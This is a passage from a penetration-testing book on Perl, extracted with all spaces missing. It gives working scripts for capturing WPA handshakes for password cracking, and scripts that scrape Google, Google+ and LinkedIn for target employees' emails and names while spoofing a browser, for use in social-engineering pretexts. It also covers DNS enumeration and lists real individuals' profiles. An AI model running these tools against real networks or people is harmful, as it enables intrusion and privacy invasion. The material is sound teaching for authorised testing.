![Page 148: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/148.jpg)
disassociatingframestoeachrequest,whichmeansthattheyaresuccessfullyreceivingourpackets.Let’sseehowwecansniffjustourEAPOLhandshakepacketswithPerlandNet::Pcap:#!/usr/bin/perl-w
usestrict;
useNet::Pcap;
usesigtrap‘handler’=>sub{exit;},‘normal-signals’;
my$usage=“perleapol.pl<dev><><bssid>”;
my$dev=shiftordie$usage;
my$bssid=shiftordie$usage;
my$filterStr=‘(wlanaddr2‘.$bssid.
‘&&typemgtsubtypebeacon)||etherproto0x888e’;
my($err,$filter)=““x2;
my$pcap=pcap_open_live($dev,2048,1,0,\$err);
my$dumper=pcap_dump_open($pcap,“cap_eapol.cap”);
my$beacon=0;#justasinglebeaconisneededforAircrack-NG
pcap_compile($pcap,\$filter,$filterStr,1,0)&&die“cannotcompilefilter”;
pcap_setfilter($pcap,$filter)&&die“cannotsetfilter”;
print“[*]Startingscan,CTRL+Ctoquit.\n”;
pcap_loop($pcap,-1,\&eapol,”);
subeapol{#thisisthecallbackforpcap_looptoprocesspackets
my($ud,$hdr,$pkt)=@_;
if(unpack(“x58H4”,$pkt)eq“888e”){#LinkLayerType802.1xAuth
print“[!]EAPOLHandshakepacketacquired.\n”;
pcap_dump($dumper,$hdr,$pkt);
}elsif($beacon==0){
print“[*]Beaconpacketacquired.\n”;
pcap_dump($dumper,$hdr,$pkt);
$beacon=1;#wehaveone
}
pcap_dump_flush($dumper);
return;
}
END{
print“Exiting\n”;
pcap_close($pcap)if$pcap;
pcap_dump_close($dumper)if$dumper;
}
What’snewabouttheprecedingcodeisthelibPcapfilter,includingatypeandsubtypefor802.11.Wecaptureframeswiththe802.1Xauthenticationbycheckingthefifty-ninthandsixtiethrequestsforthevalues88and8efromtheEthernetprotocol.ThesearesettoindicateEAPOLinourcase,aswecanseefromthefollowingWiresharkscreenshot:
![Page 149: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/149.jpg)
Here,weseethebytes88and8esetforEAPOLinourdataframe(0x02).Thesubtypeinthefilterisfromthemanagementframeforabeacon,0x08.AnotherwaywecanwritethisfilterissimplybyusingeapolinWireshark.
Also,wecatchtheinterruptswiththesigtrapPerlmoduleandasktheprogramtocalltheEND{}blocktoexitcleanly,save,andclosethefiles.Thereasonforusingthe$beaconBooleanissothatwestoprecordingbeaconpacketsafterourfirstsuccessfulcapture.Aircrack-ngonlyrequiresasinglebeaconframeandatleasttwomatchingEAPOLframesformtheWPAhandshakebeforeattemptingtocrackthepassphrase,aswewillbedoinginChapter9,PasswordCracking.Doingthisalsomakesourcapturefilealotsmallerandeasiertoworkwith.Let’sstartthisprogramandtestourdropcli.plprogram:
root@wnld960:~#perleapolsniff.plmon000:1D:D0:F6:94:B0
[*]Startingscan,CTRL+Ctoquit.
[*]Beaconpacketacquired.
[!]EAPOLHandshakepacketacquired.
[!]EAPOLHandshakepacketacquired.
[!]EAPOLHandshakepacketacquired.
[!]EAPOLHandshakepacketacquired.
[!]EAPOLHandshakepacketacquired.
[!]EAPOLHandshakepacketacquired.
[!]EAPOLHandshakepacketacquired.
[!]EAPOLHandshakepacketacquired.
[!]EAPOLHandshakepacketacquired.
[!]EAPOLHandshakepacketacquired.
[!]EAPOLHandshakepacketacquired.
Exiting
root@wnld960:~#
ThisoutputconfirmsthatbothourreplayandsnifferapplicationsarerunningproperlyagainstourtargetnetworkwiththeESSIDofwnlc.ThistechniquecanbeusednotonlytogatherEAPOLWPAhandshakes,butalsotogenerateARPrequestsforcrackingWEP
![Page 150: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/150.jpg)
encryptionandtorecovercloakedorhiddenESSIDsastheclientreconnectstotheBSS.
NowthatwehaveagraspofhowtousePerlwithLinux802.11networkingutilities,theAircrack-ngsuite,andasan802.11protocolanalyzer,wehavetheconfidencetouseitalltogetherforautomationandscriptinginourpenetrationtests.
![Page 151: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/151.jpg)
SummaryInthischapter,welearnedagreatdealabouthowwecanusePerlinconjunctionwithourWi-Fiadaptertodisassemble802.11traffic.Asmoreandmoreinstitutionsareadopting802.11networks,thisskillbecomeincreasinglyimportanttohave.Inthenextchapter,wewillbelearninghowtousePerltoautomatesometasksduringourWANInternetfootprintingphaseofproperOSINT,andusethegatheredinformationtotestforWAN-accessibleapplicationattacks.
Inthenextchapter,wewillhaveadetailedpreliminarydiscussiononWANandwebtopologyandterminologies.
![Page 152: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/152.jpg)
Chapter6.OpenSourceIntelligenceOpensourceintelligence(OSINT)referstointelligencegatheringfromopenandpublicsources.Thesesourcesincludesearchengines,theclienttarget’sweb-accessiblesoftwareorsites,socialmediasitesandforums,Internetroutingandnamingauthorities,publicinformationsites,andmore.Ifdoneproperlyandthoroughly,thepracticeofOSINTcanprovetobeusefultostrengthensocialengineeringandremoteexploitationattacksonourclienttargetaswesearchforwaystogainaccesstotheirsystemsandbuildingsduringapenetrationtest.
![Page 153: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/153.jpg)
What’scoveredInthischapter,wewillcoverhowtogathertheinformationlistedusingPerl:
E-mailaddressesfromourclienttargetusingsearchenginesandsocialmediasitesNetworking,hosting,routing,andsystemdataofourclienttargetusingonlineresourcesandsimplenetworkingutilities
Togatherthisdata,werelyheavilyontheLWP::UserAgentPerlmodulethatwelearnedaboutinChapter2,LinuxTerminalOutput.WewillalsodiscoverhowtousethismodulewithasecuredsocketlayerSSL/TLS(HTTPS)connection.Inadditiontothis,wewilllearnaboutafewnewPerlmodulesthatarelistedhere:
Net::Whois::Raw
Net::DNS::Dig
Net::DNS
Net::Traceroute
XML::LibXML
![Page 154: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/154.jpg)
GoogledorksBeforeweuseGoogleforintelligencegathering,weshouldbrieflytouchuponusingGoogledorks,whichwecanusetorefineandfilterourGooglesearches.AGoogledorkisastringofspecialsyntaxthatwepasstoGoogle’srequesthandlerusingtheq=option.Thedorkcancompriseoperatorsandkeywordsseparatedbyacolonandconcatenatedstringsusingaplussymbol+asadelimiter.HereisalistofsimpleGoogledorksthatwecanusetonarrowourGooglesearches:
intitle:<string>searchesforpageswhoseHTMLtitletagscontainthestring<string>
filetype:<ext>searchesforfilesthathavetheextension<ext>site:<domain>narrowsthesearchtoonlyresultsthatarelocatedonthe<domain>targetserversinurl:<string>returnsresultsthatcontain<string>intheirURL-<word>negatesthewordfollowingtheminussymbol-inasearchfilterlink:<page>searchesforpagesthatcontaintheHTMLHREFlinkstothepage
ThisisjustasmalllistandacompleteguideofGooglesearchoperatorsthatcanbefoundontheirsupportservers.Alistofwell-knownexploitedGoogledorksforinformationgatheringcanbefoundinaGooglehacker’sdatabaseathttp://www.exploit-db.com/google-dorks/.
![Page 155: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/155.jpg)
E-mailaddressgatheringGettinge-mailaddressesfromourtargetcanbearatherhardtaskandcanalsomeangatheringusernamesusedwithinthetarget’sdomain,remotemanagementsystems,databases,workstations,webapplications,andmuchmore.Aswecanimagine,gatheringausernameis50percentoftheintrusionfortargetcredentialharvesting;theother50percentbeingthepasswordinformation.WealreadycoveredasimplisticmethodforbruteforceattackstogatherpasswordsusingPerlinChapter3,IEEE802.3WiredNetworkMappingwithPerl,againsttheWAN-facingrouter.Sohowdowegathere-mailaddressesfromatarget?Well,thereareseveralmethods;thefirstwewilllookatwillbesimplyusingsearchenginestocrawlthewebforanythinguseful,includingforumposts,socialmedia,e-maillistsforsupport,webpagesandmailtolinks,andanythingelsethatwascachedorfoundfromever-spideringsearchengines.
![Page 156: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/156.jpg)
UsingGooglefore-mailaddressgatheringAutomatingqueriestosearchenginesisusuallyalwaysbestlefttoapplicationprogramminginterfaces(APIs).WemightbeabletoquerythesearchengineviaasimpleGETrequest,butthisleavesenoughroomforerror,andthesearchenginecanpotentiallytemporarilyblockourIPaddressorforceustovalidateourhumannessusinganimageofwordsasitmightassumethatweareusingabot.Unfortunately,GoogleonlyoffersapaidversionoftheirgeneralsearchAPI.Theydo,however,offeranAPIforacustomsearch,butthisisrestrictedtospecifieddomains.Wewanttobeasthoroughaspossibleandsearchasmuchofthewebaswecan,timepermitting,whenintelligencegathering.Let’sgobacktoourLWP::UserAgentPerlmoduleandmakeasimplerequesttoGoogle,searchingforanye-mailaddressesandURLsfromagivendomain.TheURLsareusefulastheycanbespideredtowithinourapplicationifwefeelinclinedtoextendthereachofourautomatedOSINT.Inthefollowingexamples,wewanttoimpersonateabrowserasmuchaspossibletonotraiseflagsatGooglebyusingautomation.WeaccomplishthisbyusingtheLWP::UserAgentPerlmoduleandspoofingavalidFirefoxuseragent:#!/usr/bin/perl-w
usestrict;
useLWP::UserAgent;
useLWP::Protocol::https;
my$usage=“Usage./email_google.pl<domain>”;
my$target=shiftordie$usage;
my$ua=LWP::UserAgent->new;
my%emails=();#unique
my$url=‘https://www.google.com/search?
num=100&start=0&hl=en&meta=&q=%40%22’.$target.’%22’;
$ua->agent(“Mozilla/5.0(Windows;U;WindowsNT6.1en-US;rv:1.9.2.18)
Gecko/20110614Firefox/3.6.18”);
$ua->timeout(10);#setupatimeout
$ua->show_progress(1);#displayprogressbar
my$res=$ua->get($url);
if($res->is_success){
my@urls=split(/url\?q=/,$res->as_string);
foreachmy$gUrl(@urls){#GoogleURLs
nextif($gUrl=~m/(webcache.googleusercontent)/iornot$gUrl=~
m/^http/);
$gUrl=~s/&sa=U.*//;
print$gUrl,”\n”;
}
my@emails=$res->as_string=~m/[a-z0-9_.-]+\@/ig;
foreachmy$email(@emails){
if(notexists$emails{$email}){
print“PossibleEmailMatch:“,$email,$target,”\n”;
$emails{$email}=1;#hashesarefaster
}
}
}
else{
die$res->status_line;
}
![Page 157: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/157.jpg)
TheLWP::UserAgentmoduleusedinthepreviouscodeisnotnewtous.Wedid,however,addSSLsupportusingtheLWP::Protocol::httpsmodule.OurURL$urlobjectisasimpleGooglesearchURLthatanyonewouldbrowsetowithanormalbrowser.Thenum=valuepertainsthereturnedresultsfromGoogleinasinglepage,whichwehavesetto100.
Toalsoactasabrowser,weneededtosettheuseragentwiththeagent()method,whichwedidasaMozillabrowser.Afterthis,wesetatimeoutandBooleantoshowasimpleprogressbar.TherestisjustsimplePerlstringmanipulationandpatternmatching.Weusetheregularexpressionurl\?q=tosplitthestringreturnedbytheas_stringmethodfromthe$resobject.Then,foreachURLstring,weuseanotherregularexpression,&sa=U.*,toremoveexcessanalyticgarbagethatGoogleadds.
Then,wesimplyparseoutalle-mailaddressesfoundusingthesamemethodbutdifferentregexp.Westuffallmatchesintothe@emailsarrayandloopoverthem,displayingthemtoourscreeniftheydon’texistinthe$emails{}Perlhash.
Let’srunthisprogramagainsttheweaknetlabs.comdomainandanalyzetheoutput:
root@wnld960:~#perlemail_google.plweaknetlabs.com
**GEThttps://www.google.com/search?
num=100&start=0&hl=en&meta=&q=%40%22weaknetlabs.com%22==>200OK(1s)
http://weaknetlabs.com/
http://weaknetlabs.com/main/%3Fpage_id%3D479
…
http://www.securitytube.net/video/2039
PossibleEmailMatch:[email protected]
PossibleEmailMatch:[email protected]
root@wnld960:~#
Thisisthe(trimmed)outputwhenwerunanautomatedGooglesearchforane-mailaddressfromweaknetlabs.com.
![Page 158: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/158.jpg)
Usingsocialmediafore-mailaddressgatheringNow,let’sturnourattentiontousingsocialmediasitessuchasGoogle+,LinkedIn,andFacebooktotrytogathere-mailaddressesusingPerl.Socialmediasitescansometimesreflectinformationaboutanemployee’sattitudetowardstheiremployer,theirstatuswithinthecompany,position,e-mailaddresses,andmore.AllofthisinformationisconsideredOSINTandcanbeusefulwhenadvancingourattacks.
Google+Wecanalsosearchplus.google.comforcontactinformationfromusersbelongingtoourtarget.ThefollowingistheURL-encodedGoogledorkwewillusetosearchtheGoogle+profilesforanemployeeofourtarget:intitle%3A”About+-+Google%2B”+“Works+at+’.$target.’”+site%3Aplus.google.com
TheURL-encodedsymbolsareasfollows:
%3A:Thisisacolon,thatis,:%2B:Thisisaplussymbol,thatis,+
Theplussymbol+isaspecialcomponentofGoogledork,aswementionedintheprevioussection.TheintitlekeywordtellsGoogletodisplayresultswhoseHTML<title>tagcontainstheAbout–Google+text.Then,weaddthestring(inquotations)“Worksat“(noticethespaceattheend),andthenthetargetnameasthestringobject$target.ThesitekeywordtellstheGooglesearchenginetoonlydisplayresultsfromtheplus.google.comsite.Let’simplementthisinourPerlprogramandseewhatresultsarereturnedforGoogleemployees:#!/usr/bin/perl-w
usestrict;
useLWP::UserAgent;
useLWP::Protocol::https;
my$ua=LWP::UserAgent->new;
my$usage=“Usage./googleplus.pl<targetname>”;
my$target=shiftordie$usage;
$target=~s/\s/+/g;
my$gUrl=‘https://www.google.com/search?safe=off&noj=1&sclient=psy-
ab&q=intitle%3A”About+-+Google%2B”+“Works+at+’
.$target.’”+site%3Aplus.google.com&oq=intitle%3A”About+-
+Google%2B”+“Works+at+’.$target.’”+site%3Aplus.google.com’;
$ua->agent(“Mozilla/5.0(Windows;U;WindowsNT6.1en-US;rv:1.9.2.18)
Gecko/20110614Firefox/3.6.18”);
$ua->timeout(10);#setupatimeout
my$res=$ua->get($gUrl);
if($res->is_success){
foreachmy$string(split(/url\?q=/,$res->as_string)){
nextif($string=~m/(webcache.googleusercontent)/iornot$string=~
m/^http/);
$string=~s/&sa=U.*//;
print$string,”\n”;
}
![Page 159: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/159.jpg)
}
else{
die$res->status_line;
}
ThisPerlprogramisquitesimilartoourlastsearchprogram.Now,let’srunthistofindpossibleGoogleemployees.Sinceatargetclientcompanycanhavespacesinitsname,weaccommodatethembyencodingthemforGoogleasplussymbols:
root@wnld960:~#perlgoogleplus.plgoogle
https://plus.google.com/%2BPaulWilcox/about
https://plus.google.com/%2BNatalieVillalobos/about
…
https://plus.google.com/%2BAndrewGerrand/about
root@wnld960:~#
Thepreceding(trimmed)outputprovesthatourPerlscriptworksaswebrowsetothereturnedresults.ThesetwoGooglesearchscriptsprovideduswithsomegreatinformationquickly.Let’smoveontoanotherexample,notusingGooglebutLinkedIn,asocialmediasiteforprofessionals.
LinkedInLinkedIncanprovideuswiththecontactinformationandITskilllevelsofourclienttargetduringapenetrationtest.Here,wewillfocusonthecontactinformation.Bynow,weshouldfeelverycomfortablemakinganytypeofwebrequestusingLWP::UserAgentandparsingitsoutputforintelligencedata.Infact,thisLinkedInexampleshouldbeabreeze.Thetrickisfine-tuningourfiltersandregularexpressionstogetonlyrelevantdata.Let’sjustdiverightintothecodeandthenanalyzesomesampleoutput:#!/usr/bin/perl-w
usestrict;
useLWP::UserAgent;
useLWP::Protocol::https;
my$ua=LWP::UserAgent->new;
my$usage=“Usage./googlepluslinkedin.pl<targetname>”;
my$target=shiftordie$usage;
my$gUrl=‘https://www.google.com/search?
q=site:linkedin.com+%22at+’.$target.’%22’;
my%lTargets=();#unique
$ua->agent(“Mozilla/5.0(Windows;U;WindowsNT6.1en-US;rv:1.9.2.18)
Gecko/20110614Firefox/3.6.18”);
$ua->timeout(10);#setupatimeout
my$google=getUrl($gUrl);#oneandONLYcalltoGoogle
foreachmy$title($google=~m/\shref=”\/url\?.*”>[a-z0-9_.-]+\s?.b.at
$target..b.\s-\slinked/ig){
my$lRurl=$title;
$title=~s/.*”>([^<]+).*/$1/;
$lRurl=~s/.*url\?.*q=(.*)&sa.*/$1/;
print$title,”->“.$lRurl.”\n”;
my@ln=split(/\015?\012/,getUrl($lRurl));
foreach(@ln){
if(m/title=”/i){
my$link=$_;
$link=~s/.*href=”([^”]+)”.*/$1/;
![Page 160: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/160.jpg)
nextifexists$lTargets{$link};
$lTargets{$link}=1;
my$name=$_;
$name=~s/.*title=”([^”]+)”.*/$1/;
print“\t”,$name,”:“,$link,”\n”;
}
}
}
subgetUrl{
sleep1;#pause…
my$res=$ua->get(shift);
if($res->is_success){
return$res->as_string;
}else{
die$res->status_line;
}
}
TheprecedingPerlprogrammakesonequerytoGoogletofindallpossiblepositionsfromthetarget;foreachpositionfound,itqueriesLinkedIntofindemployeesofthetarget.TheregularexpressionsusedwerefinelycraftedafterinspectionofthereturnedHTMLobjectfromasimplequerytobothGoogleandLinkedIn.
ThisisagreatexampleofhowwecanspiderofffromourinitialGoogleresultstogatherevenmoreintelligenceusingPerlautomation.Let’stakealookatsomesampleoutputsfromthisprogramwhenusedagainstWalmart.com:
root@wnld960:~#perllinkedIn.plWalmart
Buyer:http://www.linkedin.com/title/buyer/at-walmart/
JasonKloster:http://www.linkedin.com/in/jasonkloster
RajivAhirwal:http://www.linkedin.com/in/rajivahirwal
…
Storemanager:http://www.linkedin.com/title/store%2Bmanager/at-walmart/
BenjaminHunt13k+(LION)#1ConnectedLeaderatWalmart:
http://www.linkedin.com/in/benjaminhunt01
…
Shiftmanager:http://www.linkedin.com/title/shift%2Bmanager/at-walmart/
FrankBurns:http://www.linkedin.com/pub/frank-burns/24/83b/285
…
Assistantstoremanager:
http://www.linkedin.com/title/assistant%2Bstore%2Bmanager/at-walmart/
JohnCole:http://www.linkedin.com/pub/john-cole/67/392/b39
CrystalHerrera:http://www.linkedin.com/pub/crystal-
herrera/92/74a/97b
root@wnld960:~#
Thepreceding(trimmed)outputprovidedsomegreatinsightintoemployeepositions,andevenrealemployeesinthosepositionsofthetarget,withasimplecalltoonescript.
TipAllofthisinformationispubliclyavailableinformationandwearenotdirectlyattackingWalmartoritsemployees;wearejustusingthisasanexampleofintelligence-gatheringtechniquesduringapenetrationtestusingPerlprogramming.
![Page 161: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/161.jpg)
Thisinformationcanfurtherbeusedforreporting,andwecanevenextendthisdataintootherareasofresearch.Forinstance,wecaneasilyfollowtheLinkedInlinkswithLWP::UserAgentandpullevenmoredatafromthepubliclyavailableLinkedInprofiles.Thisdata,whencomparedtoGoogle+profiledataandsimpleGooglesearches,shouldhelpinprovidingabackgroundtocreateamorebelievablepretextforsocialengineering.
Now,let’sseeifwecanuseGoogletosearchmoresocialmediawebsitesforinformationonourclienttarget.
FacebookWecaneasilyarguethatFacebookisoneofthelargestsocialnetworkingsitesaroundduringthewritingofthisbook.Facebookcaneasilyreturnalargeamountofdataaboutaperson,andwedon’tevenhavetogotothesitetogetit!WecaneasilyextendourreachintotheWebwiththegatheredemployeenames,fromourpreviouscode,bysearchingGoogleusingthesite:faceboook.comparameterandtheexactsamesyntaxasfromthefirstexampleintheGooglesectionoftheE-mailaddressgatheringsection.ThefollowingareafewsimpleGoogledorksthatcanpossiblyrevealinformationaboutourclienttarget:site:facebook.com“managerattarget”
site:facebook.com“ceoattarget”
site:facebook.com“owneroftarget”
site:facebook.com“experienceattarget”
Thisinformationcanreturncustomerandemployeecriticismthatcanbeusedforawidearrayofpenetration-testingpurposes,includingsocialengineeringpretexting.Wecannarrowourfocusevenfurtherbyaddingotherkeywordsandstringsfromourpreviouslygatheredintelligence,suchascitynames,companynames,andmore.Justaboutanythingreturnedcanbecompiledintoauniquewordlistforpasswordcracking,andcontrastedwiththeknowndatawithDigitalCredentialAnalysis(DCA),whichwewilllearnaboutinChapter9,PasswordCracking.
![Page 162: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/162.jpg)
DomainNameServicesDomainNameServices(DNS)areusedtotranslateIPaddressesintohostnamessothatwecanusealphanumericaddressesinsteadofIPaddressesforwebsitesorservices.ItmakesourlivesaloteasierwhentypinginaURLwithanameratherthana4-bytenumericalvalue.Anyclienttargetcanpotentiallyhavefullcontrolovertheirnamingservices.DNSArecordscanbeassignedtoanyIPaddress.WecaneasilywriteourownrecordwithdomaincontrolforanIPv4classAaddress,suchas10.0.0.1,whichiscommonlydoneforaninternalnetworktoallowitsuserstoeasilyconnecttodifferentinternalservices.
![Page 163: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/163.jpg)
TheWhoisquerySometimes,whenwecangetanIPaddressforaclienttarget,wecanpassthisIPaddresstotheWhoisdatabase,andinreturn,wecangetarangeofIPaddressesinwhichourIPliesandtheorganizationthatownstherange.Iftheorganizationisourtarget,thenwenowknowarangeofIPaddressespointingdirectlytotheirresources.Usually,thisinformationisgivenduringapenetrationtest,andthelimitationsonthelengthsthatweareallowedtogotoforIPrangesaresetsothatwecanbelimitedsimplytoreporting.Let’susePerlandtheNet::Whois::RawmoduletointeractwiththeAmericanRegistryforInternetNumbers(ARIN)databaseforanIPaddress:#!/usr/bin/perl-w
usestrict;
useNet::Whois::Raw;
die“Usage:perlnetRange.pl<IPAddress>”unless$ARGV[0];
foreach(split(/\n/,whois(shift))){
print$_,”\n”if(m/^(netrange|orgname)/i);
}
Theprecedingcode,whenrun,shouldproduceinformationaboutthenetworkrangeandorganizationnamethatownstherange.Itisverysimple,anditcanbecomparedtocallingthewhoisprogramformtheLinuxcommandline.IfweweretoscriptthistorunthroughanumberofdifferentIPaddressesandruntheWhoisqueryagainsteachone,wecouldbeviolatingthetermsofservicesetbyARIN.Let’stestitandseewhatwegetwitharandomIPaddress:
root@wnld960:~#perlwhois.pl198.123.2.22
NetRange:198.116.0.0-198.123.255.255
OrgName:NationalAeronauticsandSpaceAdministration
root@wnld960:~#
ThisistheoutputfromourPerlprogram,whichrevealsanIPrangethatcanbelongtotheorganizationlisted.
Ifthisfails,andweneedtofindmorethanonehostnameownedbyourclienttarget,wecantryabruteforcemethodthatsimplychecksournameservers;wewilldojustthatinthenextsection.
![Page 164: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/164.jpg)
TheDIGqueryDIGstandsfordomaininformationgroperandisautilitytodojustthatusingDNSqueries.TheDIGLinuxutilityhasactuallyreplacedtheolderhostandnslookuptoolswementionedinthepreviouschapters.Inmakingthesequeries,onethingtonoteisthatwhenwedon’tspecifyanameservertouse,theDIGutilitywillsimplyusetheLinuxOSdefaultresolver.Wecan,however,passanameservertoDIG;wewillcoverthisintheupcomingsection,Zonetransfers.Thereisaniceobject-orientedPerlmoduleforDIGthatwewillexamine,whichiscalledNet::DNS::Dig.Let’squicklylookatanexampletoqueryourDNSwiththismodule:#!/usr/bin/perl-w
useNet::DNS::Dig;
usestrict;
my$dig=newNet::DNS::Dig();
my$dom=shiftordie“Usage:perldig.pl<domain>”;
my$dobj=$dig->for($dom,‘A’);#
print$dobj->sprintf;#printentiredigqueryresponse
print“CODE:“,$dobj->rcode(1),”\n”;#DigResponseCode
my%mx=Net::DNS::Dig->new()->for($dom,‘MX’)->rdata();
while(my($val,$server)=each(%mx)){
print“MX:“,$server,”-“,$val,”\n”;
}
Theprecedingcodeissimple.WecreateaDIGobject$digandcallthefor()method,passingthedomainnamewepulledbyshiftingthecommand-lineargumentsandtypesforArecords.Weprintthereturnedresponsewithsprintf(),andthentheresponsecodealonewiththercode()method.Finally,wecreateahashobject%mxfromtherdata()method.Wepasstherdata()objectreturnedfrommakinganewNet::DNS::Digobject,andcallthefor()methodonitwithatypeofMXforthemailserver.Let’strythisagainstadomainandseewhatisreturned:
root@wnld960:~#perldig.plweaknetlabs.com
;<<>>Net::DNS::Dig0.12<<>>-taweaknetlabs.com.
;;
;;Gotanswer.
;;->>HEADER<<-opcode:QUERY,status:NOERROR,id:34071
;;flags:qrrdra;QUERY:1,ANSWER:1,AUTHORITY:0,ADDITIONAL:0
;;QUESTIONSECTION:
;weaknetlabs.com.INA
;;ANSWERSECTION:
weaknetlabs.com.300INA198.144.36.192
;;Querytime:118ms
;;SERVER:75.75.76.76#53(75.75.76.76)
;;WHEN:MonMay1918:26:312014
;;MSGSIZErcvd:49—XFRsize:2records
CODE:NOERROR
MX:mailstore1.secureserver.net-10
MX:smtp.secureserver.net–0
![Page 165: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/165.jpg)
Theoutputisjustasexpected.EverythingabovethelinestartingwithCODEistheresponsefrommakingtheDIGquery.CODEisreturnedfromthercode()method.Sincewepassedatruevaluetorcode(),wegotastringtype,NOERROR,returned.Next,weprintedthekeyandvaluepairsofthe%mxPerlhash,whichdisplayedourtarget’se-mailservernames.
![Page 166: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/166.jpg)
BruteforceenumerationKeepingthepreviouslessoninmind,andknowingthatLinuxoffersagreatwealthofnetworkingutilities,wemightbeinclinedtowriteourownDNSbruteforcetooltoenumerateanypossibleArecordsthatourclienttargetcouldhavemadepriortoourpenetrationtest.Let’stakeaquicklookatthenslookuputilitywecanusetocheckifarecordexists:
trevelyn@wnld960:~$nslookupadmin.warcarrier.org
Server:75.75.76.76
Address:75.75.76.76#53
Non-authoritativeanswer:
Name:admin.warcarrier.org
Address:10.0.0.1
trevelyn@wnld960:~$nslookupadmindoesntexist.warcarrier.org
Server:75.75.76.76
Address:75.75.76.76#53
**servercan’tfindadmindoesntexist.warcarrier.org:NXDOMAIN
trevelyn@wnld960:~$
Thisistheoutputoftwocallstonslookup,thenetworkingutilityusedforreturningIPaddressesofhostnames,andviceversa.ThefirstArecordcheckwassuccessful,andthesecond,theadmindoesntexistsubdomain,wasnot.Wecaneasilyseefromtheoutputofthisprogramhowwecanparseittocheckwhetherthesubdomainexists.Wecanalsoseefromthetwosubdomainsthatwecanuseasimplewordlistofcommonlyusedsubdomainsforefficiency,beforetryingmanypossiblecombinations.
TipAlotofintelligencegatheringmighthavealreadybeendoneforyoubysearchenginessuchasGoogle.Infact,thekeywordsearchsite:canreturnmorethanjustthewwwsubdomains.Ifwebroadenournum=URLGETparameterandloopthroughallpossibleresultsbyincrementingthestart=parameter,wecanpotentiallygetresultsfromothersubdomainsofourtarget.
Nowthatwehaveseenthebasicqueryforasubdomain,let’sturnourfocustousePerlandanewPerlmodule,Net::DNS,toenumerateafewsubdomains:#!/usr/bin/perl-w
usestrict;
useNet::DNS;
